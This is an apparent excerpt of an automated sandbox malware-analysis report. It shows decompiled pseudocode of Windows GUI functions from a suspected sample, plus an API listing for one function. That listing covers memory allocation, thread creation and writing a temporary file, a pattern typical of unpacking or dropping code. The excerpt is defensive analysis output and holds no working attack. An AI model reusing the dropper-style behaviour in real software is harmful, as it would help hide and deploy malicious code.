MulDiv.KERNEL32(?,000005A0,000003E8), ref: 000F8F60
SendMessageA.USER32(?,0000000E,00000000,00000000), ref: 000F8FB1

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: CapsDevice$CreateMessageSendViewport
String ID:
API String ID: 363734762-0
Opcode ID: 55d4911f22bd36252ab15f4c00f9cd48dc81371f1055c97e8cc3753cbe2f03e9
Instruction ID: 1e190e84196149b81e7ebd9bb661a823d11c3700e0964a1688b26c0fae9745e1
Opcode Fuzzy Hash: 55d4911f22bd36252ab15f4c00f9cd48dc81371f1055c97e8cc3753cbe2f03e9
Instruction Fuzzy Hash: 44812970E00708AFDB10DFA5CD85BAEBBF9AF48711F10451AE619EB680DB74A941CF54

Uniqueness

Uniqueness Score: -1.00%

Function 000FF090 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 163
windowCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E000FF090(void* __ebx, intOrPtr* __ecx, void* __edx) {
				signed int _v8;
				char _v211;
				char _v212;
				intOrPtr* _v216;
				void* _v220;
				void* _v224;
				CHAR* _v228;
				CHAR* _v232;
				CHAR* _v236;
				CHAR* _v240;
				CHAR* _v244;
				CHAR* _v248;
				CHAR* _v252;
				void* _v256;
				void* __edi;
				void* __esi;
				signed int _t58;
				intOrPtr _t60;
				signed char _t65;
				void* _t70;
				struct HDC__* _t121;
				RECT* _t122;
				signed int _t125;

				_t106 = __edx;
				_t89 = __ebx;
				_t58 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t58 ^ _t125;
				_t123 = __edx;
				_t60 =  *((intOrPtr*)(__edx + 0xc));
				_v216 = __ecx;
				if(_t60 != 1) {
					if(_t60 != 0x10001) {
						L17:
						return E001059E6(0, _t89, _v8 ^ _t125, _t106, 0, _t123);
					} else {
						if(( *(__ebx + 0x85) & 0x00000001) == 0) {
							if(( *(__ebx + 0x84) & 0x00000080) == 0) {
								 *(_t123 + 0x3c) = GetSysColor(0x11);
								 *_v216 = 1;
							}
							goto L17;
						} else {
							_t65 =  *(__edx + 0x28);
							if((_t65 & 0 | (_t65 & 0x00000004) == 0x00000004) != 0) {
								L8:
								 *(_t123 + 0x3c) = GetSysColor(0x11);
								goto L9;
							} else {
								if((_t65 & 0x00000041) == 0) {
									if(( *(__ebx + 0x84) & 0x00000080) == 0) {
										goto L8;
									}
								} else {
									_t122 = __edx + 0x14;
									FillRect( *(_t123 + 0x10), _t122, GetSysColorBrush(0x1d));
									FrameRect( *(_t123 + 0x10), _t122, GetSysColorBrush(0xd));
									asm("sbb edx, edx");
									 *(_t123 + 0x3c) = GetSysColor(( ~( *(__ebx + 0x84) & 0x80) & 0xfffffffd) + 0x11);
									L9:
								}
							}
							_t121 =  *(_t123 + 0x10);
							SetTextColor(_t121,  *(_t123 + 0x3c));
							SetBkMode(_t121,  *(_t123 + 0x64));
							_t70 = SendMessageA( *(_t89 + 4), 0x31, 0, 0);
							_v224 = _t70;
							_v220 = 0;
							if(_t70 != 0) {
								_v220 = SelectObject(_t121, _t70);
							}
							_v212 = 0;
							E00106820( &_v211, 0, 0xc7);
							_v252 = 0;
							_v232 = 0;
							_v228 = 0;
							_v248 = 0;
							_v244 = 0;
							_v240 = 0;
							_v236 = 0;
							_v232 =  &_v212;
							_v256 = 0x20;
							_v252 = 2;
							_v228 = 0xc8;
							SendMessageA( *(_t89 + 4), 0x441,  *(_t123 + 0x24),  &_v256);
							_t124 = _t123 + 0x14;
							DrawTextA(_t121,  &_v212, 0xffffffff, _t123 + 0x14,  !(( *(_t89 + 0x85) & 0x000000ff) << 0x12) & 0x00100000 | 0x00000025);
							if(_v224 != 0) {
								SelectObject(_t121, _v220);
							}
							 *_v216 = 1;
							return E001059E6(4, _t89, _v8 ^ _t125, _v216, _t121, _t124);
						}
					}
				} else {
					 *__ecx = 1;
					return E001059E6(0x20, __ebx, _v8 ^ _t125, __edx, 0, __edx);
				}
			}

0x000ff090
0x000ff090
0x000ff099
0x000ff0a0
0x000ff0a4
0x000ff0a6
0x000ff0ac
0x000ff0b5
0x000ff0d5
0x000ff2b0
0x000ff2c1
0x000ff0db
0x000ff0e2
0x000ff297
0x000ff2a1
0x000ff2aa
0x000ff2aa
0x00000000
0x000ff0e8
0x000ff0e8
0x000ff0f8
0x000ff14b
0x000ff153
0x00000000
0x000ff0fa
0x000ff0fc
0x000ff149
0x00000000
0x00000000
0x000ff0fe
0x000ff100
0x000ff10f
0x000ff123
0x000ff137
0x000ff153
0x000ff14d
0x000ff153
0x000ff0fc
0x000ff159
0x000ff15e
0x000ff169
0x000ff179
0x000ff17f
0x000ff185
0x000ff191
0x000ff19b
0x000ff19b
0x000ff1af
0x000ff1b6
0x000ff1c0
0x000ff1c6
0x000ff1cc
0x000ff1d9
0x000ff1df
0x000ff1e5
0x000ff1eb
0x000ff1fb
0x000ff20a
0x000ff214
0x000ff21e
0x000ff228
0x000ff244
0x000ff252
0x000ff25f
0x000ff269
0x000ff269
0x000ff27a
0x000ff28f
0x000ff28f
0x000ff0e2
0x000ff0b7
0x000ff0ba
0x000ff0cf
0x000ff0cf

APIs

GetSysColorBrush.USER32(0000001D), ref: 000FF103
FillRect.USER32 ref: 000FF10F
GetSysColorBrush.USER32(0000000D), ref: 000FF117
FrameRect.USER32 ref: 000FF123
GetSysColor.USER32(00000011), ref: 000FF14D
SetTextColor.GDI32(?,?), ref: 000FF15E
SetBkMode.GDI32(?,?), ref: 000FF169
SendMessageA.USER32(?,00000031,00000000,00000000), ref: 000FF179
SelectObject.GDI32(?,00000000), ref: 000FF195
_memset.LIBCMT ref: 000FF1B6
SendMessageA.USER32(?,00000441,?,?), ref: 000FF228

Strings

, xrefs: 000FF20A

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Color$BrushMessageRectSend$FillFrameModeObjectSelectText_memset
String ID:
API String ID: 3018652888-3916222277
Opcode ID: 527b4b40da63abe4422389110b499b9e4aa7e8e86e76e16d3ca24553bd313cb5
Instruction ID: 4a4096b89fbcd5db49d4e3e6133323f79ff71143be42c322021008f6e8400c62
Opcode Fuzzy Hash: 527b4b40da63abe4422389110b499b9e4aa7e8e86e76e16d3ca24553bd313cb5
Instruction Fuzzy Hash: EC51A0719002199FDB65CF64CD45BFEBBF4BF88310F0081AAEA49A6680DBB45984DF60

Uniqueness

Uniqueness Score: -1.00%

Function 00100AF0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 140
windowregistrythreadCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00100AF0(void* __ecx, void* __esi, int _a4, int _a8, long _a12) {
				signed char _v0;
				void* _v8;
				signed int _v16;
				struct tagRECT _v32;
				long _v36;
				long _v40;
				struct tagPOINT _v48;
				long _v52;
				long _v56;
				long _v60;
				long _v64;
				intOrPtr _v68;
				int _v72;
				int _v76;
				int _v80;
				int _v84;
				void* _v88;
				int _v92;
				struct tagMSG _v116;
				void* __ebx;
				void* __edi;
				long _t113;
				signed int _t114;
				int _t129;
				signed int _t133;
				long _t144;
				signed char _t146;
				void* _t148;
				int _t152;
				intOrPtr _t168;
				int _t173;
				void* _t182;
				void* _t183;
				void* _t185;
				intOrPtr _t186;
				struct _CRITICAL_SECTION* _t187;
				signed int _t192;
				int _t206;
				struct HHOOK__** _t211;
				intOrPtr _t215;
				intOrPtr* _t233;
				int _t234;
				int _t235;
				struct HWND__* _t236;
				signed int _t237;
				signed int _t238;
				void* _t239;
				void* _t240;
				void* _t241;
				struct HWND__* _t243;
				intOrPtr* _t246;
				struct HWND__** _t248;
				intOrPtr _t249;
				struct _CRITICAL_SECTION* _t250;
				intOrPtr _t251;
				struct _CRITICAL_SECTION* _t252;
				signed int _t255;
				signed int _t256;
				void* _t262;
				intOrPtr _t271;

				_t256 = _t255 & 0xfffffff8;
				_push(__ecx);
				_push(__esi);
				if(_a4 == 0 && _a8 == 1) {
					if( *0x1719a8 == 0) {
						_t251 =  *0x17196c; // 0x1719bc
						_t252 = _t251 + 0x10;
						EnterCriticalSection(_t252);
						if( *0x1719a8 == 0) {
							 *0x1719a8 = RegisterWindowMessageA("WTL_CmdBar_InternalGetBarMsg");
						}
						LeaveCriticalSection(_t252);
					}
					_t168 =  *((intOrPtr*)(_a12 + 4));
					_t262 = _t168 -  *0x1719a8; // 0x0
					if(_t262 != 0 && _t168 != 0x37f) {
						_t243 =  *_a12;
						_t248 = 0;
						_v8 = 0;
						while(_t243 != 0) {
							if( *0x1719a8 == 0) {
								_t249 =  *0x17196c; // 0x1719bc
								_t250 = _t249 + 0x10;
								EnterCriticalSection(_t250);
								if( *0x1719a8 == 0) {
									 *0x1719a8 = RegisterWindowMessageA("WTL_CmdBar_InternalGetBarMsg");
								}
								LeaveCriticalSection(_t250);
							}
							_t173 =  *0x1719a8; // 0x0
							_t248 = SendMessageA(_t243, _t173,  &_v8, 0);
							_t243 = GetParent(_t243);
							if(_t248 == 0) {
								continue;
							} else {
								L17:
								if(_v8 == GetCurrentProcessId()) {
									_t248[7] =  *_a12;
									if(IsWindow( *_t248) != 0) {
										SendMessageA( *_t248, 0x37f, 0, _a12);
									}
								}
							}
							goto L20;
						}
						if(_t248 != 0) {
							goto L17;
						}
					}
				}
				L20:
				_t271 =  *0x171994; // 0x0
				if(_t271 == 0) {
					L25:
					return 0;
				} else {
					_t113 = GetCurrentThreadId();
					_t233 =  *0x171994; // 0x0
					_t215 =  *((intOrPtr*)(_t233 + 8));
					_t192 = 0;
					if(_t215 <= 0) {
						goto L25;
					} else {
						_t246 =  *_t233;
						while( *_t246 != _t113) {
							_t192 = _t192 + 1;
							_t246 = _t246 + 4;
							if(_t192 < _t215) {
								continue;
							} else {
								goto L25;
							}
							goto L55;
						}
						if(_t192 == 0xffffffff) {
							goto L25;
						} else {
							if(_t192 < 0 || _t192 >= _t215) {
								RaiseException(0xc000008c, 1, 0, 0);
								asm("int3");
								_t254 = _t256;
								_t114 =  *0x159060; // 0x1f9a9bdf
								_v32.left = _t114 ^ _t256;
								_push(0);
								_push(_t233);
								_v48.x = 0;
								_v48.y = 0;
								_v40 = 0;
								_v36 = 0;
								_t234 = _t192;
								SendMessageA( *(_t246 + 4), 0x41d, _t234,  &_v48);
								_v116.time.x = _v48.x;
								_v116.pt.x = _v36;
								MapWindowPoints( *(_t246 + 4), 0,  &(_v116.time), 1);
								MapWindowPoints( *(_t246 + 4), 0,  &_v48, 2);
								_v64 = 0;
								_v60 = 0;
								_v56 = 0;
								_v52 = 0;
								_v60 = _v48.y;
								_v64 = _v48.x;
								_v68 = 0x14;
								_v56 = _v40;
								_v52 = _v36;
								_v116.lParam = GetSubMenu( *(_t246 + 0x44), _t234);
								_v88 = 0;
								_v84 = 0;
								_v80 = 0;
								_v76 = 0;
								_v72 = 0;
								SendMessageA( *(_t246 + 4), 0x417, _t234,  &_v88);
								_t129 = _v84;
								_v92 = _t129;
								 *(_t246 + 0x88) = _t234;
								SendMessageA( *(_t246 + 4), 0x403, _t129, 1);
								_t235 = _v92;
								SendMessageA( *(_t246 + 4), 0x448, _t235, 0);
								if( *0x1719a0 == 0) {
									_t133 = 0;
								} else {
									asm("sbb eax, eax");
									_t133 = ( ~(_v0 & 0x000000ff) & 0xffffd000) + 0x4000;
								}
								E000FF7B0( &_v52, _v80, _t246, _v88, _t133 | 0x00000040, _v84);
								SendMessageA( *(_t246 + 4), 0x403, _t235, 0);
								_t236 =  *(_t246 + 4);
								if(GetFocus() != _t236) {
									SendMessageA(_t236, 0x448, 0xffffffff, 0);
								}
								_t223 =  *(_t246 + 4);
								_t237 = PeekMessageA;
								_v116.hwnd = 0;
								_v116.message = 0;
								_v116.wParam = 0;
								_v116.lParam = 0;
								_v116.time.x = 0;
								_v116.pt.x = 0;
								_v92 = 0;
								 *(_t246 + 0x88) = 0xffffffff;
								if(PeekMessageA( &_v116,  *(_t246 + 4), 0x201, 0x201, 0) != 0) {
									_t223 = _v116.pt.x;
									_push(_v92);
									if(PtInRect( &_v32, _v116.pt.x) != 0) {
										_t223 =  &_v116;
										PeekMessageA( &_v116,  *(_t246 + 4), 0x201, 0x201, 1);
									}
								}
								_t238 = _t237 | 0xffffffff;
								if( *(_t246 + 0x8c) == _t238) {
									 *(_t246 + 0x84) =  *(_t246 + 0x84) & 0x000000ef;
									if(( *(_t246 + 0x84) & 0x00000020) != 0) {
										SendMessageA( *(_t246 + 4), 0x448, _v76, 0);
										_t144 = SendMessageA( *(_t246 + 4), 0x449, 1, 0);
										_pop(_t239);
										_pop(_t182);
										return E001059E6(_t144, _t182, _v16 ^ _t254,  *(_t246 + 4), _t239, _t246);
									} else {
										_t146 =  *(_t246 + 0x85);
										if((_t146 & 0x00000002) != 0 && (_t146 & 0x00000004) != 0) {
											 *(_t246 + 0x85) = _t146 & 0x000000f7;
										}
										_t148 = E00101570(_t246, _t238);
										_pop(_t240);
										_pop(_t183);
										return E001059E6(_t148, _t183, _v16 ^ _t254, _t223, _t240, _t246);
									}
								} else {
									if( *0x1719a4 == 0) {
										_t186 =  *0x17196c; // 0x1719bc
										_t187 = _t186 + 0x10;
										EnterCriticalSection(_t187);
										if( *0x1719a4 == 0) {
											 *0x1719a4 = RegisterWindowMessageA("WTL_CmdBar_InternalAutoPopupMsg");
										}
										LeaveCriticalSection(_t187);
									}
									_t206 =  *0x1719a4; // 0x0
									_t225 =  *(_t246 + 4);
									_t152 = PostMessageA( *(_t246 + 4), _t206,  *(_t246 + 0x8c) & 0x0000ffff, 0);
									if(( *(_t246 + 0x8c) & 0xffff0000) == 0 && ( *(_t246 + 0x84) & 0x00000008) == 0) {
										_t152 = PostMessageA( *(_t246 + 4), 0x100, 0x28, 0);
									}
									 *(_t246 + 0x8c) = _t238;
									_pop(_t241);
									_pop(_t185);
									return E001059E6(_t152, _t185, _v16 ^ _t254, _t225, _t241, _t246);
								}
							} else {
								_t211 =  *( *((intOrPtr*)(_t233 + 4)) + _t192 * 4);
								if(_t211 == 0) {
									goto L25;
								} else {
									return CallNextHookEx( *_t211, _a4, _a8, _a12);
								}
							}
						}
					}
				}
				L55:
			}

0x00100af3
0x00100af6
0x00100afc
0x00100afe
0x00100b15
0x00100b17
0x00100b1d
0x00100b21
0x00100b2e
0x00100b3b
0x00100b3b
0x00100b41
0x00100b41
0x00100b4a
0x00100b4d
0x00100b53
0x00100b67
0x00100b6f
0x00100b71
0x00100b75
0x00100b80
0x00100b82
0x00100b88
0x00100b8c
0x00100b99
0x00100ba6
0x00100ba6
0x00100bac
0x00100bac
0x00100bb2
0x00100bc3
0x00100bcb
0x00100bcf
0x00000000
0x00100bd1
0x00100bd7
0x00100be1
0x00100beb
0x00100bf6
0x00100c06
0x00100c06
0x00100bf6
0x00100be1
0x00000000
0x00100bcf
0x00100bd5
0x00000000
0x00000000
0x00100bd5
0x00100b53
0x00100c08
0x00100c0a
0x00100c10
0x00100c3c
0x00100c44
0x00100c12
0x00100c12
0x00100c18
0x00100c1e
0x00100c21
0x00100c25
0x00000000
0x00100c27
0x00100c27
0x00100c30
0x00100c34
0x00100c35
0x00100c3a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00100c3a
0x00100c4a
0x00000000
0x00100c4c
0x00100c4e
0x00100c89
0x00100c8f
0x00100c91
0x00100c96
0x00100c9d
0x00100ca0
0x00100ca9
0x00100caa
0x00100cad
0x00100cb0
0x00100cb3
0x00100cba
0x00100cc6
0x00100cd4
0x00100cdd
0x00100ce0
0x00100cf2
0x00100d00
0x00100d03
0x00100d06
0x00100d09
0x00100d0f
0x00100d15
0x00100d1d
0x00100d24
0x00100d27
0x00100d38
0x00100d43
0x00100d46
0x00100d49
0x00100d4c
0x00100d4f
0x00100d52
0x00100d54
0x00100d5a
0x00100d66
0x00100d6c
0x00100d6e
0x00100d7d
0x00100d86
0x00100d9c
0x00100d88
0x00100d8e
0x00100d95
0x00100d95
0x00100db1
0x00100dc2
0x00100dc4
0x00100dcf
0x00100ddb
0x00100ddb
0x00100ddd
0x00100de0
0x00100df3
0x00100df6
0x00100df9
0x00100dfc
0x00100dff
0x00100e02
0x00100e05
0x00100e0d
0x00100e1b
0x00100e20
0x00100e23
0x00100e31
0x00100e43
0x00100e47
0x00100e47
0x00100e31
0x00100e49
0x00100e52
0x00100eea
0x00100ef8
0x00100f38
0x00100f47
0x00100f4c
0x00100f4f
0x00100f58
0x00100efa
0x00100efa
0x00100f02
0x00100f0a
0x00100f0a
0x00100f12
0x00100f17
0x00100f18
0x00100f26
0x00100f26
0x00100e58
0x00100e5f
0x00100e61
0x00100e67
0x00100e6b
0x00100e78
0x00100e85
0x00100e85
0x00100e8b
0x00100e8b
0x00100e98
0x00100e9e
0x00100eac
0x00100eb8
0x00100ed0
0x00100ed0
0x00100ed2
0x00100ed8
0x00100ed9
0x00100ee7
0x00100ee7
0x00100c54
0x00100c57
0x00100c5c
0x00000000
0x00100c5e
0x00100c7b
0x00100c7b
0x00100c5c
0x00100c4e
0x00100c4a
0x00100c25
0x00000000

APIs

EnterCriticalSection.KERNEL32(001719AC), ref: 00100B21
RegisterWindowMessageA.USER32(WTL_CmdBar_InternalGetBarMsg), ref: 00100B35
LeaveCriticalSection.KERNEL32(001719AC), ref: 00100B41
EnterCriticalSection.KERNEL32(001719AC), ref: 00100B8C
RegisterWindowMessageA.USER32(WTL_CmdBar_InternalGetBarMsg), ref: 00100BA0
LeaveCriticalSection.KERNEL32(001719AC), ref: 00100BAC
SendMessageA.USER32(?,00000000,?,00000000), ref: 00100BC0
GetParent.USER32 ref: 00100BC5
GetCurrentProcessId.KERNEL32 ref: 00100BD7
IsWindow.USER32(00000000), ref: 00100BEE
SendMessageA.USER32(?,0000037F,00000000,?), ref: 00100C06
GetCurrentThreadId.KERNEL32 ref: 00100C12
CallNextHookEx.USER32 ref: 00100C6D
RaiseException.KERNEL32(C000008C,00000001,00000000,00000000), ref: 00100C89

Strings

WTL_CmdBar_InternalGetBarMsg, xrefs: 00100B30, 00100B9B

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: CriticalMessageSection$Window$CurrentEnterLeaveRegisterSend$CallExceptionHookNextParentProcessRaiseThread
String ID: WTL_CmdBar_InternalGetBarMsg
API String ID: 2745667198-1327875102
Opcode ID: 001edbf442f06ae5a05c090b7855a1ccfd2af5d2e631ce8cf775fd527e7bfd30
Instruction ID: edc7dd8785f0e1d06a7478cb14ab7801ac6b4e868d7fe1c5267f1badbd3719bb
Opcode Fuzzy Hash: 001edbf442f06ae5a05c090b7855a1ccfd2af5d2e631ce8cf775fd527e7bfd30
Instruction Fuzzy Hash: 0F41D335901305AFEB26CF18DD84BAAB3B4FB4D315F108258F99993690C7B0ADC5CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02528567 Relevance: 25.9, APIs: 17, Instructions: 354memoryfilesleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?), ref: 02528590
CoInitialize.OLE32(00000000), ref: 02528598
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 02528626
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 0252867C
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 025286A4
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 02528741
CreateThread.KERNEL32(00000000,00000000,040077B0,?,00000000,00000000), ref: 025287AA
CloseHandle.KERNEL32(?), ref: 025287B7
GetEnvironmentVariableA.KERNEL32(0400C634,?,00000104), ref: 025287EF
GetTickCount.KERNEL32 ref: 02528820
GetTempFileNameA.KERNEL32(?,?,00000000), ref: 0252883E
CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000), ref: 0252885A
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 025288C8
WriteFile.KERNEL32(000000FF,00000000,?,00000000,00000000), ref: 02528924
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0252894A
WriteFile.KERNEL32(000000FF,?,?,00000000,00000000), ref: 02528970
CloseHandle.KERNEL32(000000FF), ref: 02528983

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFile$CloseCreateFreeHandleWrite$CountEnvironmentInitializeNameSleepTempThreadTickVariable
String ID:
API String ID: 361425215-0
Opcode ID: 4bd7cc2a04e5fe1269c320f0046daf0fa0d4ab140fb1e02ab59e474c4db78636
Instruction ID: 938d8ffc0d5a87670d0171b0e312e8155041c0d19ce0557eb6ee7c257083dc58
Opcode Fuzzy Hash: 4bd7cc2a04e5fe1269c320f0046daf0fa0d4ab140fb1e02ab59e474c4db78636
Instruction Fuzzy Hash: 88F1EB75A00218EFDB18DF94C989F9DB7B5BB88300F248198E509AB3D0D775AE85CF64

Uniqueness

Uniqueness Score: -1.00%

Function 000F8C30 Relevance: 25.7, APIs: 17, Instructions: 172
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E000F8C30(void* __ecx, void* __edx, intOrPtr _a4, struct HDC__* _a8) {
				signed int _v8;
				intOrPtr _v20;
				signed int _v28;
				intOrPtr _v32;
				int _v36;
				int _v40;
				int _v44;
				struct HWND__* _v48;
				int _v52;
				int _v56;
				intOrPtr _v60;
				int _v64;
				int _v68;
				signed int _v72;
				void* _v76;
				int _v80;
				int _v84;
				void* _v88;
				void* _v92;
				int _v96;
				int _v100;
				int _v104;
				int _v108;
				int _v112;
				signed int _v116;
				long _v120;
				void* _v136;
				int _v148;
				char _v156;
				signed int _v164;
				intOrPtr _v236;
				struct HDC__* _v260;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t143;
				intOrPtr _t145;
				int _t148;
				int _t152;
				signed int _t162;
				signed int _t164;
				signed int _t165;
				signed int _t172;
				int _t180;
				int _t186;
				signed int _t191;
				signed int _t193;
				signed int _t195;
				long _t197;
				int _t201;
				signed int _t204;
				signed int _t207;
				signed int _t211;
				void* _t225;
				void* _t229;
				void* _t232;
				void* _t233;
				int _t239;
				int _t257;
				int* _t278;
				void* _t283;
				struct HDC__* _t284;
				void* _t285;
				void* _t286;
				void* _t287;
				struct HDC__* _t289;
				struct HDC__* _t291;
				void* _t293;
				void* _t295;
				void* _t296;
				signed int _t298;
				signed int _t299;
				signed int _t301;
				void* _t302;

				_t301 = (_t299 & 0xfffffff8) - 0x5c;
				_t143 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t143 ^ _t301;
				_t145 = _a4;
				_t289 = _a8;
				_t283 = __ecx;
				_v76 = _t145;
				if(_t145 <  *((intOrPtr*)(__ecx + 0x4fc))) {
					_v88 = GetDeviceCaps(_t289, 0x6f);
					_v100 = GetDeviceCaps(_t289, 0x6e);
					_t148 = GetDeviceCaps(_t289, 0x58);
					_t225 = MulDiv;
					_v108 = MulDiv(_v108, 0x5a0, _t148);
					_t152 = MulDiv(_v112, 0x5a0, GetDeviceCaps(_t289, 0x5a));
					_v112 = _t152;
					_v44 = _t152;
					_v56 = 0;
					_v52 = 0;
					_v48 = _v116;
					_v56 = _v56 + MulDiv( *(_t283 + 0x4e0), 0x5a0, 0x3e8);
					_v48 = _v48 - MulDiv( *(_t283 + 0x4e8), 0x5a0, 0x3e8);
					_v52 = _v52 + MulDiv( *(_t283 + 0x4e4), 0x5a0, 0x3e8);
					_t239 = _v44 - MulDiv( *(_t283 + 0x4ec), 0x5a0, 0x3e8);
					_v92 = _v52;
					_v80 = 0;
					_v76 = 0;
					_v72 = _v116;
					_t162 = _v108;
					_v44 = _t239;
					_v96 = _v56;
					_t270 = _v48;
					_v84 = _t239;
					_v104 = _t289;
					_v100 = _t289;
					_v88 = _v48;
					_v68 = _v112;
					_v64 = 0;
					_v60 = 0xffffffff;
					__eflags = _t162;
					if(__eflags < 0) {
						L5:
						RaiseException(0xc000008c, 1, 0, 0);
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_t298 = _t301;
						_push(0xffffffff);
						_push(E0010F718);
						_push( *[fs:0x0]);
						_t302 = _t301 - 0x68;
						_t164 =  *0x159060; // 0x1f9a9bdf
						_t165 = _t164 ^ _t298;
						_v164 = _t165;
						_push(_t225);
						_push(_t289);
						_push(_t283);
						_push(_t165);
						 *[fs:0x0] =  &_v156;
						_t167 = _v136;
						_v236 = _v136;
						_t284 = E000FC830(__eflags, _v136 + 0x4b8,  *((intOrPtr*)(_t167 + 0x4c0)));
						_v260 = _t284;
						_v148 = 0;
						__eflags = _t284;
						if(_t284 != 0) {
							_v104 = GetDeviceCaps(_t284, 0x6f);
							_v108 = GetDeviceCaps(_t284, 0x6e);
							_t172 = GetDeviceCaps(_t284, 0x70);
							SetViewportOrgEx(_t284,  ~_t172,  ~(GetDeviceCaps(_t284, 0x71)), 0);
							_v108 = MulDiv(_v108, 0x5a0, GetDeviceCaps(_t284, 0x58));
							_t180 = MulDiv(_v104, 0x5a0, GetDeviceCaps(_t284, 0x5a));
							_t291 = _v100;
							_v104 = _t180;
							_v84 = _t180;
							_v96 = 0;
							_v92 = 0;
							_v88 = _v108;
							_v96 = MulDiv( *(_t291 + 0x514), 0x5a0, 0x3e8);
							_v88 = _v88 - MulDiv( *(_t291 + 0x51c), 0x5a0, 0x3e8);
							_v92 = _v92 + MulDiv( *(_t291 + 0x518), 0x5a0, 0x3e8);
							_t186 = MulDiv( *(_t291 + 0x520), 0x5a0, 0x3e8);
							_v68 = _v96;
							_v76 = _t284;
							_v72 = _t284;
							_v64 = _v92;
							_v60 = _v88;
							_v56 = _v84 - _t186;
							_v52 = 0;
							_v48 = 0;
							_v44 = _v108;
							_v40 = _v104;
							_v36 = 0;
							_v32 = 0xffffffff;
							_v120 = SendMessageA( *(_t291 + 0x254), 0xe, 0, 0);
							_t191 =  *(_t291 + 0x52c);
							__eflags = _t191;
							if(_t191 != 0) {
								E00105DE2(_t191);
								_t302 = _t302 + 4;
								 *(_t291 + 0x52c) = 0;
							}
							 *(_t291 + 0x530) = 0;
							 *(_t291 + 0x534) = 0;
							do {
								_t193 =  *(_t291 + 0x534);
								__eflags =  *(_t291 + 0x530) - _t193;
								if( *(_t291 + 0x530) != _t193) {
									L20:
									_t195 =  *(_t291 + 0x52c) +  *(_t291 + 0x530) * 4;
									__eflags = _t195;
									if(_t195 != 0) {
										 *_t195 = _v36;
									}
									_t130 = _t291 + 0x530;
									 *_t130 =  *(_t291 + 0x530) + 1;
									__eflags =  *_t130;
									goto L23;
								} else {
									_t257 =  *(_t291 + 0x52c);
									_t278 =  &_v36;
									__eflags = _t278 - _t257;
									if(_t278 < _t257) {
										L14:
										__eflags = _t193;
										if(_t193 != 0) {
											_t204 =  *(_t291 + 0x530) +  *(_t291 + 0x530);
											__eflags = _t204;
											_v80 = _t204;
											if(_t204 >= 0) {
												__eflags = _t204 - 0x1fffffff;
												if(_t204 <= 0x1fffffff) {
													goto L18;
												}
											}
										} else {
											_v80 = 1;
											L18:
